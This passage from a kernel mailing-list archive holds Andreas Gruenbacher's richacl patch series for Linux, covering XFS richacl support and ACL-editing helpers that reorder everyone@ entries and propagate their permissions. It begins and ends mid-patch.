inode_operations xfs_dir_ci_inode_operations = { .rename2 = xfs_vn_rename, .get_acl = xfs_get_acl, .set_acl = xfs_set_acl, + .get_richacl = xfs_get_richacl, + .set_richacl = xfs_set_richacl, .getattr = xfs_vn_getattr, .setattr = xfs_vn_setattr, .setxattr = generic_setxattr, diff --git a/fs/xfs/xfs_richacl.c b/fs/xfs/xfs_richacl.c new file mode 100644 index 0000000..92a036e --- /dev/null +++ b/fs/xfs/xfs_richacl.c @@ -0,0 +1,103 @@ +/* + * Copyright (C) 2015 Red Hat, Inc. + * Author: Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of version 2.1 of the GNU Lesser General Public License + * as published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * + */ + +#include "xfs.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_inode.h" +#include "xfs_attr.h" + +#include +#include + +struct richacl * +xfs_get_richacl(struct inode *inode) +{ + struct xfs_inode *ip = XFS_I(inode); + struct richacl *acl = NULL; + int size = XATTR_SIZE_MAX; + void *value; + int error; + + value = kmem_zalloc_large(size, KM_SLEEP); + if (!value) + return ERR_PTR(-ENOMEM); + + error = xfs_attr_get(ip, XATTR_RICHACL, value, &size, ATTR_ROOT); + if (error) { + /* + * If the attribute doesn't exist make sure we have a negative + * cache entry, for any other error assume it is transient and + * leave the cache entry as ACL_NOT_CACHED. + */ + if (error != -ENOATTR) + acl = ERR_PTR(error); + } else + acl = richacl_from_xattr(&init_user_ns, value, size); + + if (!IS_ERR(acl)) + set_cached_richacl(inode, acl); + kfree(value); + + return acl; +} + +static int +xfs_remove_richacl(struct inode *inode) +{ + struct xfs_inode *ip = XFS_I(inode); + int error; + + error = xfs_attr_remove(ip, XATTR_RICHACL, ATTR_ROOT); + if (error == -ENOATTR) + error = 0; + if (!error) + set_cached_richacl(inode, NULL); + return error; +} + +int +xfs_set_richacl(struct inode *inode, struct richacl *acl) +{ + struct xfs_inode *ip = XFS_I(inode); + umode_t mode = inode->i_mode; + int error, size; + void *value; + + if (!acl) + return xfs_remove_richacl(inode); + + if (richacl_equiv_mode(acl, &mode) == 0) { + xfs_set_mode(inode, mode); + return xfs_remove_richacl(inode); + } + + size = richacl_xattr_size(acl); + value = kmem_zalloc_large(size, KM_SLEEP); + if (!value) + return -ENOMEM; + richacl_to_xattr(&init_user_ns, acl, value, size); + error = xfs_attr_set(ip, XATTR_RICHACL, value, size, + ATTR_ROOT); + kfree(value); + if (error) + return error; + + mode &= ~S_IRWXUGO; + mode |= richacl_masks_to_mode(acl); + xfs_set_mode(inode, mode); + set_cached_richacl(inode, acl); + + return 0; +} diff --git a/fs/xfs/xfs_richacl.h b/fs/xfs/xfs_richacl.h new file mode 100644 index 0000000..431aa25 --- /dev/null +++ b/fs/xfs/xfs_richacl.h @@ -0,0 +1,23 @@ +/* + * Copyright (C) 2015 Red Hat, Inc. + * Author: Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of version 2.1 of the GNU Lesser General Public License + * as published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * + */ + +#ifndef __FS_XFS_RICHACL_H +#define __FS_XFS_RICHACL_H + +struct richacl; + +extern struct richacl *xfs_get_richacl(struct inode *); +extern int xfs_set_richacl(struct inode *, struct richacl *); + +#endif /* __FS_XFS_RICHACL_H */ diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index 904f637..f82ce1a 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -1500,7 +1500,11 @@ xfs_fs_fill_super( sb->s_maxbytes = xfs_max_file_offset(sb->s_blocksize_bits); sb->s_max_links = XFS_MAXLINK; sb->s_time_gran = 1; - set_posix_acl_flag(sb); + + if (xfs_sb_version_hasrichacl(&mp->m_sb)) + set_richacl_flag(sb); + else + set_posix_acl_flag(sb); /* version 5 superblocks support inode version counters. */ if (XFS_SB_VERSION_NUM(&mp->m_sb) == XFS_SB_VERSION_5) diff --git a/fs/xfs/xfs_super.h b/fs/xfs/xfs_super.h index 499058f..7ae21d9 100644 --- a/fs/xfs/xfs_super.h +++ b/fs/xfs/xfs_super.h @@ -36,6 +36,9 @@ extern void xfs_qm_exit(void); # define set_posix_acl_flag(sb) do { } while (0) #endif +# define XFS_RICHACL_STRING "Richacls, " +# define set_richacl_flag(sb) ((sb)->s_flags |= MS_RICHACL) + #define XFS_SECURITY_STRING "security attributes, " #ifdef CONFIG_XFS_RT @@ -52,6 +55,7 @@ extern void xfs_qm_exit(void); #define XFS_VERSION_STRING "SGI XFS" #define XFS_BUILD_OPTIONS XFS_ACL_STRING \ + XFS_RICHACL_STRING \ XFS_SECURITY_STRING \ XFS_REALTIME_STRING \ XFS_DBG_STRING /* DBG must be last */ diff --git a/fs/xfs/xfs_xattr.c b/fs/xfs/xfs_xattr.c index 8428aed..64aac05 100644 --- a/fs/xfs/xfs_xattr.c +++ b/fs/xfs/xfs_xattr.c @@ -28,6 +28,7 @@ #include "xfs_acl.h" #include +#include #include @@ -74,6 +75,24 @@ xfs_xattr_set(struct dentry *dentry, const char *name, const void *value, (void *)value, size, xflags); } +static int +xfs_xattr_get_trusted(struct dentry *dentry, const char *name, + void *value, size_t size, int xflags) +{ + if (strcmp(name, XATTR_RICHACL) == 0) + return -EOPNOTSUPP; + return xfs_xattr_get(dentry, name, value, size, xflags); +} + +static int +xfs_xattr_set_trusted(struct dentry *dentry, const char *name, + const void *value, size_t size, int flags, int xflags) +{ + if (strcmp(name, XATTR_RICHACL) == 0) + return -EOPNOTSUPP; + return xfs_xattr_set(dentry, name, value, size, flags, xflags); +} + static const struct xattr_handler xfs_xattr_user_handler = { .prefix = XATTR_USER_PREFIX, .flags = 0, /* no flags implies user namespace */ @@ -84,8 +103,8 @@ static const struct xattr_handler xfs_xattr_user_handler = { static const struct xattr_handler xfs_xattr_trusted_handler = { .prefix = XATTR_TRUSTED_PREFIX, .flags = ATTR_ROOT, - .get = xfs_xattr_get, - .set = xfs_xattr_set, + .get = xfs_xattr_get_trusted, + .set = xfs_xattr_set_trusted, }; static const struct xattr_handler xfs_xattr_security_handler = { @@ -103,6 +122,7 @@ const struct xattr_handler *xfs_xattr_handlers[] = { &posix_acl_access_xattr_handler, &posix_acl_default_xattr_handler, #endif + &richacl_xattr_handler, NULL }; @@ -152,10 +172,10 @@ xfs_xattr_put_listent( ASSERT(context->count >= 0); if (flags & XFS_ATTR_ROOT) { -#ifdef CONFIG_XFS_POSIX_ACL if (namelen == SGI_ACL_FILE_SIZE && strncmp(name, SGI_ACL_FILE, - SGI_ACL_FILE_SIZE) == 0) { + SGI_ACL_FILE_SIZE) == 0 && + IS_POSIXACL(&context->dp->i_vnode)) { int ret = __xfs_xattr_put_listent( context, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN, @@ -164,8 +184,9 @@ xfs_xattr_put_listent( if (ret) return ret; } else if (namelen == SGI_ACL_DEFAULT_SIZE && - strncmp(name, SGI_ACL_DEFAULT, - SGI_ACL_DEFAULT_SIZE) == 0) { + strncmp(name, SGI_ACL_DEFAULT, + SGI_ACL_DEFAULT_SIZE) == 0 && + IS_POSIXACL(&context->dp->i_vnode)) { int ret = __xfs_xattr_put_listent( context, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN, @@ -173,8 +194,16 @@ xfs_xattr_put_listent( strlen(XATTR_POSIX_ACL_DEFAULT)); if (ret) return ret; + } else if (namelen == strlen(XATTR_RICHACL) && + strncmp(name, XATTR_RICHACL, + strlen(XATTR_RICHACL)) == 0 && + IS_RICHACL(&context->dp->i_vnode)) { + return __xfs_xattr_put_listent( + context, XATTR_SYSTEM_PREFIX, + XATTR_SYSTEM_PREFIX_LEN, + XATTR_RICHACL, + strlen(XATTR_RICHACL)); } -#endif /* * Only show root namespace entries if we are actually allowed to -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:45:10 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 24E0529E2F for ; Fri, 23 Oct 2015 13:45:10 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A9D42AC001 for ; Fri, 23 Oct 2015 11:45:09 -0700 (PDT) X-ASG-Debug-ID: 1445625907-04cb6c7b863e040001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id dYhbAUQsYLIt33lz (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:45:08 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 73389C1C8D54; Fri, 23 Oct 2015 18:45:07 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3et026588; Fri, 23 Oct 2015 14:45:01 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 26/49] richacl: acl editing helper functions Date: Fri, 23 Oct 2015 20:41:39 +0200 X-ASG-Orig-Subj: [PATCH v12 26/49] richacl: acl editing helper functions Message-Id: <1445625722-13791-27-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625907 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The file masks in richacls make chmod and creating new files more efficient than having to apply file permission bits to the acl directly. They also allow us to regain permissions from an acl even after a restrictive chmod, because the permissions in the acl itself are not being destroyed. In POSIX ACLs, the mask entry has a similar function. Protocols like nfsv4 do not understand file masks. For those protocols, we need to compute nfs4 acls which represent the effective permissions granted by a richacl: we need to "apply" the file masks to the acl. This is the first in a series of richacl transformation patches; it implements basic richacl editing functions. The following patches implement algorithms for transforming a richacl so that it can be evaluated as a plain nfs4 acl, with identical permission check results. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/Makefile | 3 +- fs/richacl_compat.c | 155 +++++++++++++++++++++++++++++++++++++++++ include/linux/richacl_compat.h | 40 +++++++++++ 3 files changed, 197 insertions(+), 1 deletion(-) create mode 100644 fs/richacl_compat.c create mode 100644 include/linux/richacl_compat.h diff --git a/fs/Makefile b/fs/Makefile index 35e640d..32b391b 100644 --- a/fs/Makefile +++ b/fs/Makefile @@ -49,7 +49,8 @@ obj-$(CONFIG_SYSCTL) += drop_caches.o obj-$(CONFIG_FHANDLE) += fhandle.o obj-$(CONFIG_FS_RICHACL) += richacl.o -richacl-y := richacl_base.o richacl_inode.o richacl_xattr.o +richacl-y := richacl_base.o richacl_inode.o \ + richacl_xattr.o richacl_compat.o obj-y += quota/ diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c new file mode 100644 index 0000000..5c59999 --- /dev/null +++ b/fs/richacl_compat.c @@ -0,0 +1,155 @@ +/* + * Copyright (C) 2006, 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#include +#include +#include +#include + +/** + * richacl_prepare - allocate richacl being constructed + * + * Allocate a richacl which can hold @count entries but which is initially + * empty. + */ +struct richacl *richacl_prepare(struct richacl_alloc *alloc, unsigned int count) +{ + alloc->acl = richacl_alloc(count, GFP_KERNEL); + if (!alloc->acl) + return NULL; + alloc->acl->a_count = 0; + alloc->count = count; + return alloc->acl; +} +EXPORT_SYMBOL_GPL(richacl_prepare); + +/** + * richacl_delete_entry - delete an entry in an acl + * @alloc: acl and number of allocated entries + * @ace: an entry in @alloc->acl + * + * Updates @ace so that it points to the entry before the deleted entry + * on return. (When deleting the first entry, @ace will point to the + * (non-existent) entry before the first entry). This behavior is the + * expected behavior when deleting entries while forward iterating over + * an acl. + */ +void +richacl_delete_entry(struct richacl_alloc *alloc, struct richace **ace) +{ + void *end = alloc->acl->a_entries + alloc->acl->a_count; + + memmove(*ace, *ace + 1, end - (void *)(*ace + 1)); + (*ace)--; + alloc->acl->a_count--; +} +EXPORT_SYMBOL_GPL(richacl_delete_entry); + +/** + * richacl_insert_entry - insert an entry in an acl + * @alloc: acl and number of allocated entries + * @ace: entry before which the new entry shall be inserted + * + * Insert a new entry in @alloc->acl at position @ace and zero-initialize + * it. This may require reallocating @alloc->acl. + */ +int +richacl_insert_entry(struct richacl_alloc *alloc, struct richace **ace) +{ + struct richacl *acl = alloc->acl; + unsigned int index = *ace - acl->a_entries; + size_t tail_size = (acl->a_count - index) * sizeof(struct richace); + + if (alloc->count == acl->a_count) { + size_t new_size = sizeof(struct richacl) + + (acl->a_count + 1) * sizeof(struct richace); + + acl = krealloc(acl, new_size, GFP_KERNEL); + if (!acl) + return -1; + *ace = acl->a_entries + index; + alloc->acl = acl; + alloc->count++; + } + + memmove(*ace + 1, *ace, tail_size); + memset(*ace, 0, sizeof(**ace)); + acl->a_count++; + return 0; +} +EXPORT_SYMBOL_GPL(richacl_insert_entry); + +/** + * richacl_append_entry - append an entry to an acl + * @alloc: acl and number of allocated entries + * + * This may require reallocating @alloc->acl. + */ +struct richace *richacl_append_entry(struct richacl_alloc *alloc) +{ + struct richacl *acl = alloc->acl; + struct richace *ace = acl->a_entries + acl->a_count; + + if (alloc->count > alloc->acl->a_count) { + acl->a_count++; + return ace; + } + return richacl_insert_entry(alloc, &ace) ? NULL : ace; +} +EXPORT_SYMBOL_GPL(richacl_append_entry); + +/** + * richace_change_mask - set the mask of @ace to @mask + * @alloc: acl and number of allocated entries + * @ace: entry to modify + * @mask: new mask for @ace + * + * If @ace is inheritable, a inherit-only ace is inserted before @ace which + * includes the inheritable permissions of @ace and the inheritance flags of + * @ace are cleared before changing the mask. + * + * If @mask is 0, the original ace is turned into an inherit-only entry if + * there are any inheritable permissions, and removed otherwise. + * + * The returned @ace points to the modified or inserted effective-only acl + * entry if that entry exists, to the entry that has become inheritable-only, + * or else to the previous entry in the acl. + */ +static int +richace_change_mask(struct richacl_alloc *alloc, struct richace **ace, + unsigned int mask) +{ + if (mask && (*ace)->e_mask == mask) + (*ace)->e_flags &= ~RICHACE_INHERIT_ONLY_ACE; + else if (mask & ~RICHACE_POSIX_ALWAYS_ALLOWED) { + if (richace_is_inheritable(*ace)) { + if (richacl_insert_entry(alloc, ace)) + return -1; + richace_copy(*ace, *ace + 1); + (*ace)->e_flags |= RICHACE_INHERIT_ONLY_ACE; + (*ace)++; + (*ace)->e_flags &= ~RICHACE_INHERITANCE_FLAGS | + RICHACE_INHERITED_ACE; + } + (*ace)->e_mask = mask; + } else { + if (richace_is_inheritable(*ace)) + (*ace)->e_flags |= RICHACE_INHERIT_ONLY_ACE; + else + richacl_delete_entry(alloc, ace); + } + return 0; +} diff --git a/include/linux/richacl_compat.h b/include/linux/richacl_compat.h new file mode 100644 index 0000000..a9ff630 --- /dev/null +++ b/include/linux/richacl_compat.h @@ -0,0 +1,40 @@ +/* + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#ifndef __RICHACL_COMPAT_H +#define __RICHACL_COMPAT_H + +#include + +/** + * struct richacl_alloc - remember how many entries are actually allocated + * @acl: acl with a_count <= @count + * @count: the actual number of entries allocated in @acl + * + * We pass around this structure while modifying an acl so that we do + * not have to reallocate when we remove existing entries followed by + * adding new entries. + */ +struct richacl_alloc { + struct richacl *acl; + unsigned int count; +}; + +struct richacl *richacl_prepare(struct richacl_alloc *, unsigned int); +struct richace *richacl_append_entry(struct richacl_alloc *); +int richacl_insert_entry(struct richacl_alloc *, struct richace **); +void richacl_delete_entry(struct richacl_alloc *, struct richace **); + +#endif /* __RICHACL_COMPAT_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:45:15 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C42D429E27 for ; Fri, 23 Oct 2015 13:45:15 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 802EB304053 for ; Fri, 23 Oct 2015 11:45:15 -0700 (PDT) X-ASG-Debug-ID: 1445625914-04bdf0330941570001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id nna2H8KsPr1h1nH4 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:45:14 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 1B8669134B; Fri, 23 Oct 2015 18:45:14 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3eu026588; Fri, 23 Oct 2015 14:45:07 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 27/49] richacl: Move everyone@ aces down the acl Date: Fri, 23 Oct 2015 20:41:40 +0200 X-ASG-Orig-Subj: [PATCH v12 27/49] richacl: Move everyone@ aces down the acl Message-Id: <1445625722-13791-28-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625914 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The POSIX standard puts processes which are not the owner or a member in the owning group or which match any ace other then everyone@ on the other file class. We only know if a process is in the other class after processing the entire acl. Move all everyone@ aces in the acl down in the acl so that at most a single everyone@ allow ace remains at the end. Permissions which are not explicitly allowed are implicitly denied, so an everyone@ deny ace is unneeded. The everyone@ aces can be moved down the acl without changing the permissions that the acl grants. This transformation simplifies the following algorithms, and eventually allows us to turn the final everyone@ allow ace into an entry for the other class. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_compat.c | 65 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 65 insertions(+) diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index 5c59999..962d314 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -153,3 +153,68 @@ richace_change_mask(struct richacl_alloc *alloc, struct richace **ace, } return 0; } + +/** + * richacl_move_everyone_aces_down - move everyone@ aces to the end of the acl + * @alloc: acl and number of allocated entries + * + * Move all everyone aces to the end of the acl so that only a single everyone@ + * allow ace remains at the end, and update the mask fields of all aces on the + * way. The last ace of the resulting acl will be an everyone@ allow ace only + * if @acl grants any permissions to @everyone. No @everyone deny aces will + * remain. + * + * This transformation does not alter the permissions that the acl grants. + * Having at most one everyone@ allow ace at the end of the acl helps us in the + * following algorithms. + */ +static int +richacl_move_everyone_aces_down(struct richacl_alloc *alloc) +{ + struct richace *ace; + unsigned int allowed = 0, denied = 0; + + richacl_for_each_entry(ace, alloc->acl) { + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_everyone(ace)) { + if (richace_is_allow(ace)) + allowed |= (ace->e_mask & ~denied); + else if (richace_is_deny(ace)) + denied |= (ace->e_mask & ~allowed); + else + continue; + if (richace_change_mask(alloc, &ace, 0)) + return -1; + } else { + if (richace_is_allow(ace)) { + if (richace_change_mask(alloc, &ace, allowed | + (ace->e_mask & ~denied))) + return -1; + } else if (richace_is_deny(ace)) { + if (richace_change_mask(alloc, &ace, denied | + (ace->e_mask & ~allowed))) + return -1; + } + } + } + if (allowed & ~RICHACE_POSIX_ALWAYS_ALLOWED) { + struct richace *last_ace = ace - 1; + + if (alloc->acl->a_entries && + richace_is_everyone(last_ace) && + richace_is_allow(last_ace) && + richace_is_inherit_only(last_ace) && + last_ace->e_mask == allowed) + last_ace->e_flags &= ~RICHACE_INHERIT_ONLY_ACE; + else { + if (richacl_insert_entry(alloc, &ace)) + return -1; + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = allowed; + ace->e_id.special = RICHACE_EVERYONE_SPECIAL_ID; + } + } + return 0; +} -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:45:22 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BF35729E37 for ; Fri, 23 Oct 2015 13:45:22 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id AF2108F8049 for ; Fri, 23 Oct 2015 11:45:22 -0700 (PDT) X-ASG-Debug-ID: 1445625920-04cb6c7b863e060001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ByryQGToufESZDpn (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:45:21 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id C0F988F2E4; Fri, 23 Oct 2015 18:45:20 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3ev026588; Fri, 23 Oct 2015 14:45:14 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 28/49] richacl: Propagate everyone@ permissions to other aces Date: Fri, 23 Oct 2015 20:41:41 +0200 X-ASG-Orig-Subj: [PATCH v12 28/49] richacl: Propagate everyone@ permissions to other aces Message-Id: <1445625722-13791-29-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625921 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The trailing everyone@ allow ace can grant permissions to all file classes including the owner and group class. Before we can apply the other mask to this entry to turn it into an "other class" entry, we need to ensure that members of the owner or group class will not lose any permissions from that ace. Conceptually, we do this by inserting additional :::allow entries before the trailing everyone@ allow ace with the same permissions as the trailing everyone@ allow ace for owner@, group@, and all explicitly mentioned users and groups. (In practice, we will rarely need to insert any additional aces in this step.) Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_compat.c | 198 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 198 insertions(+) diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index 962d314..e90d57c 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -218,3 +218,201 @@ richacl_move_everyone_aces_down(struct richacl_alloc *alloc) } return 0; } + +/** + * __richacl_propagate_everyone - propagate everyone@ permissions up for @who + * @alloc: acl and number of allocated entries + * @who: identifier to propagate permissions for + * @allow: permissions to propagate up + * + * Propagate the permissions in @allow up from the end of the acl to the start + * for the specified principal @who. + * + * The simplest possible approach to achieve this would be to insert a + * ":::allow" ace before the final everyone@ allow ace. Since this + * would often result in aces which are not needed or which could be merged + * with an existing ace, we make the following optimizations: + * + * - We go through the acl and determine which permissions are already + * allowed or denied to @who, and we remove those permissions from + * @allow. + * + * - If the acl contains an allow ace for @who and no aces after this entry + * deny permissions in @allow, we add the permissions in @allow to this + * ace. (Propagating permissions across a deny ace which can match the + * process can elevate permissions.) + * + * This transformation does not alter the permissions that the acl grants. + */ +static int +__richacl_propagate_everyone(struct richacl_alloc *alloc, struct richace *who, + unsigned int allow) +{ + struct richace *allow_last = NULL, *ace; + struct richacl *acl = alloc->acl; + + /* + * Remove the permissions from allow that are already determined for + * this who value, and figure out if there is an allow entry for + * this who value that is "reachable" from the trailing everyone@ + * allow ace. + */ + richacl_for_each_entry(ace, acl) { + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_allow(ace)) { + if (richace_is_same_identifier(ace, who)) { + allow &= ~ace->e_mask; + allow_last = ace; + } + } else if (richace_is_deny(ace)) { + if (richace_is_same_identifier(ace, who)) + allow &= ~ace->e_mask; + else if (allow & ace->e_mask) + allow_last = NULL; + } + } + ace--; + + /* + * If for group class entries, all the remaining permissions will + * remain granted by the trailing everyone@ allow ace, no additional + * entry is needed. + */ + if (!richace_is_owner(who) && + richace_is_everyone(ace) && + !(allow & ~(ace->e_mask & acl->a_other_mask))) + allow = 0; + + if (allow) { + if (allow_last) + return richace_change_mask(alloc, &allow_last, + allow_last->e_mask | allow); + else { + struct richace who_copy; + + richace_copy(&who_copy, who); + if (richacl_insert_entry(alloc, &ace)) + return -1; + richace_copy(ace, &who_copy); + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags &= ~RICHACE_INHERITANCE_FLAGS; + ace->e_mask = allow; + } + } + return 0; +} + +/** + * richacl_propagate_everyone - propagate everyone@ permissions up the acl + * @alloc: acl and number of allocated entries + * + * Make sure that group@ and all other users and groups mentioned in the acl + * will not lose any permissions when finally applying the other mask to the + * everyone@ allow ace at the end of the acl. We modify the permissions of + * existing entries or add new entries before the final everyone@ allow ace to + * achieve that. + * + * For example, 